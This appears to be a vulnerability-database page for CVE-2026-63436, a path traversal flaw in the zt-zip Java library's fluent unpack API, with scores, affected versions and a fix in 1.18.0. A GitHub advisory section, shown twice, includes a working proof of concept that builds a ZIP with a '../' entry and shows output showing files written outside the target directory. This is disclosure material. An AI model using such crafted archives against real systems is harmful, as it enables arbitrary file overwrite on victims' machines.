Every CVESearch/Get API key

CVE-2026-63436

zt-zip: Path traversal in fluent API unpack

6.1 MediumFix available

zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.0, the Zips.get(zip).unpack().destination(outputDir).process() fluent API in src/main/java/org/zeroturnaround/zip/Zips.java constructs output files directly from ZIP entry names without applying the destination-boundary validation used by ZipUtil.unpack(...). A crafted entry containing parent-directory traversal can therefore write outside outputDir through both the normal copy branch and the ZipEntryTransformer branch. Applications that extract untrusted archives only through ZipUtil.unpack(...) are unaffected because that API already calls checkDestinationFileForTraversal. This issue is fixed in version 1.18.0.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
Low

Exploit likelihood

0.24%Unchanged since Nov 4, 2026
90%50%10%1%

What each source reports

CVE List Score used6.1

zt-zip: Path traversal in fluent API unpack

zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.0, the Zips.get(zip).unpack().destination(outputDir).process() fluent API in src/main/java/org/zeroturnaround/zip/Zips.java constructs output files directly from ZIP entry names without applying the destination-boundary validation used by ZipUtil.unpack(...). A crafted entry containing parent-directory traversal can therefore write outside outputDir through both the normal copy branch and the ZipEntryTransformer branch. Applications that extract untrusted archives only through ZipUtil.unpack(...) are unaffected because that API already calls checkDestinationFileForTraversal. This issue is fixed in version 1.18.0.

Record
CVE-2026-63436
CVSS 3.1
6.1 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L
Weakness
CWE-22
Updated
2026-11-09
EUVDEUVD-2026-1161126.1

zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.0, the Zips.get(zip).unpack().destination(outputDir).process() fluent API in src/main/java/org/zeroturnaround/zip/Zips.java constructs output files directly from ZIP entry names without applying the destination-boundary validation used by ZipUtil.unpack(...). A crafted entry containing parent-directory traversal can therefore write outside outputDir through both the normal copy branch and the ZipEntryTransformer branch. Applications that extract untrusted archives only through ZipUtil.unpack(...) are unaffected because that API already calls checkDestinationFileForTraversal. This issue is fixed in version 1.18.0.

Record
EUVD-2026-116112
CVSS 3.1
6.1 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L
Updated
2026-11-09
GitHub AdvisoriesGHSA-52c6-99qm-3hqr8.2

zt-zip: Path traversal in fluent API unpack

Summary

ZipUtil.unpack(...) rejects ZIP entries that escape the target output directory, but the Zips fluent API appears to use a separate unpack implementation that does not apply the same destination-boundary check.

A ZIP entry such as:

../escape/poc.txt

is written outside the configured destination directory when processed with:

Zips.get(zip).unpack().destination(outputDir).process();

The transformer branch is affected as well.

Tested Version

commit: 067935dca375500d3ff025aafcdf0e4283931b1a

Root Cause

In src/main/java/org/zeroturnaround/zip/Zips.java, Zips.UnpackingCallback.process(...) builds the output file directly from the ZIP entry name:

String entryName = zipEntry.getName();
File file = new File(destination, entryName);

The method then creates directories/files and copies content to that path:

FileUtils.forceMkdir(file.getParentFile());
file.createNewFile();
FileUtils.copy(in, file);

When a transformer is configured, the same file is passed to transformIntoFile(...).

There does not appear to be a canonical path check before these filesystem writes, so ../ entries can resolve outside destination.

Minimal Reproduction

import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.zip.*;

import org.zeroturnaround.zip.ZipUtil;
import org.zeroturnaround.zip.Zips;
import org.zeroturnaround.zip.transform.ZipEntryTransformer;

public class ZipsTraversalPoc {
  public static void main(String[] args) throws Exception {
    Path work = Files.createTempDirectory("ztzip-zips-poc");
    Path zip = work.resolve("poc.zip");
    Path escaped = work.resolve("escape").resolve("poc.txt");
    String entryName = "../escape/poc.txt";

    Files.createDirectories(escaped.getParent());

    try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {
      zos.putNextEntry(new ZipEntry(entryName));
      zos.write("plain branch\n".getBytes(StandardCharsets.UTF_8));
      zos.closeEntry();
    }

    Path zipUtilOut = work.resolve("ziputil-out");
    Files.createDirectories(zipUtilOut);
    try {
      ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile());
      System.out.println("ZIPUTIL_REJECTED=false");
    }
    catch (Throwable t) {
      System.out.println("ZIPUTIL_REJECTED=" + t.getClass().getName());
    }
    System.out.println("ZIPUTIL_ESCAPED_EXISTS=" + Files.exists(escaped));

    Files.deleteIfExists(escaped);

    Path zipsOut = work.resolve("zips-out");
    Files.createDirectories(zipsOut);
    Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process();
    System.out.println("ZIPS_PLAIN_ESCAPED_EXISTS=" + Files.exists(escaped));
    System.out.println("ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsOut.normalize()));

    Files.deleteIfExists(escaped);

    Path zipsTransformOut = work.resolve("zips-transform-out");
    Files.createDirectories(zipsTransformOut);
    Zips.get(zip.toFile())
        .unpack()
        .destination(zipsTransformOut.toFile())
        .addTransformer(entryName, new ZipEntryTransformer() {
          public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException {
            out.putNextEntry(new ZipEntry(entry.getName()));
            out.write("transform branch\n".getBytes(StandardCharsets.UTF_8));
            out.closeEntry();
          }
        })
        .process();
    System.out.println("ZIPS_TRANSFORM_ESCAPED_EXISTS=" + Files.exists(escaped));
    System.out.println("ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsTransformOut.normalize()));
  }
}

Observed output:

ZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException
ZIPUTIL_ESCAPED_EXISTS=false
ZIPS_PLAIN_ESCAPED_EXISTS=true
ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true
ZIPS_TRANSFORM_ESCAPED_EXISTS=true
ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true

Expected Behavior

…

Record
GHSA-52c6-99qm-3hqr
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Weakness
CWE-22
Updated
2026-11-09
NVD6.1

zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.0, the Zips.get(zip).unpack().destination(outputDir).process() fluent API in src/main/java/org/zeroturnaround/zip/Zips.java constructs output files directly from ZIP entry names without applying the destination-boundary validation used by ZipUtil.unpack(...). A crafted entry containing parent-directory traversal can therefore write outside outputDir through both the normal copy branch and the ZipEntryTransformer branch. Applications that extract untrusted archives only through ZipUtil.unpack(...) are unaffected because that API already calls checkDestinationFileForTraversal. This issue is fixed in version 1.18.0.

Record
CVE-2026-63436
CVSS 3.1
6.1 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L
Weakness
CWE-22
Updated
2026-11-09
OSV6.1

zt-zip: Path traversal in fluent API unpack

zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.0, the Zips.get(zip).unpack().destination(outputDir).process() fluent API in src/main/java/org/zeroturnaround/zip/Zips.java constructs output files directly from ZIP entry names without applying the destination-boundary validation used by ZipUtil.unpack(...). A crafted entry containing parent-directory traversal can therefore write outside outputDir through both the normal copy branch and the ZipEntryTransformer branch. Applications that extract untrusted archives only through ZipUtil.unpack(...) are unaffected because that API already calls checkDestinationFileForTraversal. This issue is fixed in version 1.18.0.

Record
CVE-2026-63436
CVSS 3.1
6.1 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L
Weakness
CWE-22
Updated
2026-11-10
OSVGHSA-52c6-99qm-3hqr8.2

zt-zip: Path traversal in fluent API unpack

Summary

ZipUtil.unpack(...) rejects ZIP entries that escape the target output directory, but the Zips fluent API appears to use a separate unpack implementation that does not apply the same destination-boundary check.

A ZIP entry such as:

../escape/poc.txt

is written outside the configured destination directory when processed with:

Zips.get(zip).unpack().destination(outputDir).process();

The transformer branch is affected as well.

Tested Version

commit: 067935dca375500d3ff025aafcdf0e4283931b1a

Root Cause

In src/main/java/org/zeroturnaround/zip/Zips.java, Zips.UnpackingCallback.process(...) builds the output file directly from the ZIP entry name:

String entryName = zipEntry.getName();
File file = new File(destination, entryName);

The method then creates directories/files and copies content to that path:

FileUtils.forceMkdir(file.getParentFile());
file.createNewFile();
FileUtils.copy(in, file);

When a transformer is configured, the same file is passed to transformIntoFile(...).

There does not appear to be a canonical path check before these filesystem writes, so ../ entries can resolve outside destination.

Minimal Reproduction

import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.zip.*;

import org.zeroturnaround.zip.ZipUtil;
import org.zeroturnaround.zip.Zips;
import org.zeroturnaround.zip.transform.ZipEntryTransformer;

public class ZipsTraversalPoc {
  public static void main(String[] args) throws Exception {
    Path work = Files.createTempDirectory("ztzip-zips-poc");
    Path zip = work.resolve("poc.zip");
    Path escaped = work.resolve("escape").resolve("poc.txt");
    String entryName = "../escape/poc.txt";

    Files.createDirectories(escaped.getParent());

    try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {
      zos.putNextEntry(new ZipEntry(entryName));
      zos.write("plain branch\n".getBytes(StandardCharsets.UTF_8));
      zos.closeEntry();
    }

    Path zipUtilOut = work.resolve("ziputil-out");
    Files.createDirectories(zipUtilOut);
    try {
      ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile());
      System.out.println("ZIPUTIL_REJECTED=false");
    }
    catch (Throwable t) {
      System.out.println("ZIPUTIL_REJECTED=" + t.getClass().getName());
    }
    System.out.println("ZIPUTIL_ESCAPED_EXISTS=" + Files.exists(escaped));

    Files.deleteIfExists(escaped);

    Path zipsOut = work.resolve("zips-out");
    Files.createDirectories(zipsOut);
    Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process();
    System.out.println("ZIPS_PLAIN_ESCAPED_EXISTS=" + Files.exists(escaped));
    System.out.println("ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsOut.normalize()));

    Files.deleteIfExists(escaped);

    Path zipsTransformOut = work.resolve("zips-transform-out");
    Files.createDirectories(zipsTransformOut);
    Zips.get(zip.toFile())
        .unpack()
        .destination(zipsTransformOut.toFile())
        .addTransformer(entryName, new ZipEntryTransformer() {
          public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException {
            out.putNextEntry(new ZipEntry(entry.getName()));
            out.write("transform branch\n".getBytes(StandardCharsets.UTF_8));
            out.closeEntry();
          }
        })
        .process();
    System.out.println("ZIPS_TRANSFORM_ESCAPED_EXISTS=" + Files.exists(escaped));
    System.out.println("ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsTransformOut.normalize()));
  }
}

Observed output:

ZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException
ZIPUTIL_ESCAPED_EXISTS=false
ZIPS_PLAIN_ESCAPED_EXISTS=true
ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true
ZIPS_TRANSFORM_ESCAPED_EXISTS=true
ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true

Expected Behavior

…

Record
GHSA-52c6-99qm-3hqr
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Weakness
CWE-22
Updated
2026-11-09

Affected products

Affected packages

Affected packages
PackageAffectedFixed
org.zeroturnaround:zt-zip
Maven
before 1.18.0
1.18.0
org.zeroturnaround:zt-zip
Maven
before 1.18.0, plus listed versions
1.101.111.121.131.14
Show 9 moreShow less
1.151.161.171.41.51.61.71.81.9
1.18.0

History

History
RecordedChangedSources
publishedEUVD
publishedEUVD
affected, referencesOSV
affected, facts, referencesGitHub Advisories, NVD
referencesCVE List, EUVD, OSV
aliases, referencesNVD, OSV
cwes, references, severity, titleCVE List
first indexedEUVD

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-63436 is a medium vulnerability (CVSS 6.1) in Zeroturnaround Zt-zip, published November 3, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 15th percentile. Fixed in org.zeroturnaround:zt-zip 1.18.0.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open